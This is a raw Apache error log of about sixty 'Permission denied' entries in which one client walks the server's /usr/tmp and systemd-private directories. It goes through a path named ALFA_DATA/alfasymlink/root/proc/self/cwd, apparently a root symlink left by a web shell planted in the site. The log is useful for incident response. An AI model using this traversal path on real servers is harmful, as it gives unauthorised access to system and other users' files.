[Mon Oct 26 14:18:18.899990 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/' is executable
[Mon Oct 26 14:18:18.900034 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/pulse-PKdhtXMmr18n/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/pulse-PKdhtXMmr18n/' is executable
[Mon Oct 26 14:18:18.900076 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/xim55mZdmP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/xim55mZdmP/' is executable
[Mon Oct 26 14:18:18.900181 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/3RwJFJrH4V/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/3RwJFJrH4V/' is executable
[Mon Oct 26 14:18:18.900228 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/6mRamnU6vq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/6mRamnU6vq/' is executable
[Mon Oct 26 14:18:18.900309 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/' is executable
[Mon Oct 26 14:18:18.900360 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/QY6TdlpePz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/QY6TdlpePz/' is executable
[Mon Oct 26 14:18:18.900480 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/5EdmaNv2PN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/5EdmaNv2PN/' is executable
[Mon Oct 26 14:18:18.900542 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/' is executable
[Mon Oct 26 14:18:18.900676 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/5f_1VQEffJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/5f_1VQEffJ/' is executable
[Mon Oct 26 14:18:18.900746 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/yrMznD9gyg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/yrMznD9gyg/' is executable
[Mon Oct 26 14:18:18.900813 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/i3jxbRrWaA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/i3jxbRrWaA/' is executable
[Mon Oct 26 14:18:18.900906 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/dNfJKz5yvg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/dNfJKz5yvg/' is executable
[Mon Oct 26 14:18:18.900950 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/TI2qwhbKGu/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/TI2qwhbKGu/' is executable
[Mon Oct 26 14:18:18.901049 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/hPKEt7w1PK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/hPKEt7w1PK/' is executable
[Mon Oct 26 14:18:18.901110 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/' is executable
[Mon Oct 26 14:18:18.901169 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/C3vvDGRpTf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/C3vvDGRpTf/' is executable
[Mon Oct 26 14:18:18.901208 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/eTa7v46lM5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/eTa7v46lM5/' is executable
[Mon Oct 26 14:18:18.901261 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/oFkHjdAXTr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/oFkHjdAXTr/' is executable
[Mon Oct 26 14:18:18.901316 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/o1Nn2aP6r8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/o1Nn2aP6r8/' is executable
[Mon Oct 26 14:18:18.901387 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/kEKIbVJwbS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/kEKIbVJwbS/' is executable
[Mon Oct 26 14:18:18.901494 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/xC1whEdMkq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/xC1whEdMkq/' is executable
[Mon Oct 26 14:18:18.901551 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/9fqABosYmc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/9fqABosYmc/' is executable
[Mon Oct 26 14:18:18.901665 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/lost+found/' is executable
[Mon Oct 26 14:18:18.901751 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/_caOxgALx2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/_caOxgALx2/' is executable
[Mon Oct 26 14:18:18.901857 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/pN3AQhlNgj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/pN3AQhlNgj/' is executable
[Mon Oct 26 14:18:18.901910 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/PsRo7Bsa_S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/PsRo7Bsa_S/' is executable
[Mon Oct 26 14:18:18.901959 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/' is executable
[Mon Oct 26 14:18:18.902001 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/OwP99dXZ_b/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/OwP99dXZ_b/' is executable
[Mon Oct 26 14:18:18.902057 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/H3T3qe0a6L/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/H3T3qe0a6L/' is executable
[Mon Oct 26 14:18:18.902114 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/BQ13T2xrrG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/BQ13T2xrrG/' is executable
[Mon Oct 26 14:18:18.902158 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/XZqhtmoMNN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/XZqhtmoMNN/' is executable
[Mon Oct 26 14:18:18.902196 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/xCPByHeGOe/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/xCPByHeGOe/' is executable
[Mon Oct 26 14:18:18.902257 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/m5eQaqt7WO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/m5eQaqt7WO/' is executable
[Mon Oct 26 14:18:18.902316 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/cHkKHvtb84/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/cHkKHvtb84/' is executable
[Mon Oct 26 14:18:18.902376 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/' is executable
[Mon Oct 26 14:18:18.902434 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/lpa8ZwaWTY/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/lpa8ZwaWTY/' is executable
[Mon Oct 26 14:18:18.902484 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/' is executable
[Mon Oct 26 14:18:18.902527 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Ild61SlCM8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Ild61SlCM8/' is executable
[Mon Oct 26 14:18:18.902569 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/oMgCKKTHTN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/oMgCKKTHTN/' is executable
[Mon Oct 26 14:18:18.902632 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/zFtYW8EbIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/zFtYW8EbIo/' is executable
[Mon Oct 26 14:18:18.902703 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/U8bmWQiMp6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/U8bmWQiMp6/' is executable
[Mon Oct 26 14:18:18.902790 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Iq7IAhBBCA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Iq7IAhBBCA/' is executable
[Mon Oct 26 14:18:18.902857 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/b3IROGlFVp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/b3IROGlFVp/' is executable
[Mon Oct 26 14:18:18.902903 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/3tecYTyNge/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/3tecYTyNge/' is executable
[Mon Oct 26 14:18:18.902959 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/GC947gwA7a/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/GC947gwA7a/' is executable
[Mon Oct 26 14:18:18.903121 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/' is executable
[Mon Oct 26 14:18:18.903170 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/IDKGG9qSVX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/IDKGG9qSVX/' is executable
[Mon Oct 26 14:18:18.903238 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/yIE1_o1ryC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/yIE1_o1ryC/' is executable
[Mon Oct 26 14:18:18.903294 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/pSZX5IDLqg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/pSZX5IDLqg/' is executable
[Mon Oct 26 14:18:18.903358 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/o3jCljYMJM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/o3jCljYMJM/' is executable
[Mon Oct 26 14:18:18.903437 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/9rc35X03xH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/9rc35X03xH/' is executable
[Mon Oct 26 14:18:18.903503 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/_UC3eRcjzH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/_UC3eRcjzH/' is executable
[Mon Oct 26 14:18:18.903553 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/' is executable
[Mon Oct 26 14:18:18.903609 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/' is executable
[Mon Oct 26 14:18:18.903647 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/bYpoGDqHwv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/bYpoGDqHwv/' is executable
[Mon Oct 26 14:18:18.903690 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/WGtLrvNEoO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/WGtLrvNEoO/' is executable
[Mon Oct 26 14:18:18.903746 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/KPaWqZiNSx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/KPaWqZiNSx/' is executable
[Mon Oct 26 14:18:18.903794 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/' is executable
[Mon Oct 26 14:18:18.903856 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/0sa9T3ad5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/0sa9T3ad5i/' is executable
[Mon Oct 26 14:18:18.903917 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Bx1XC6ECXC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Bx1XC6ECXC/' is executable
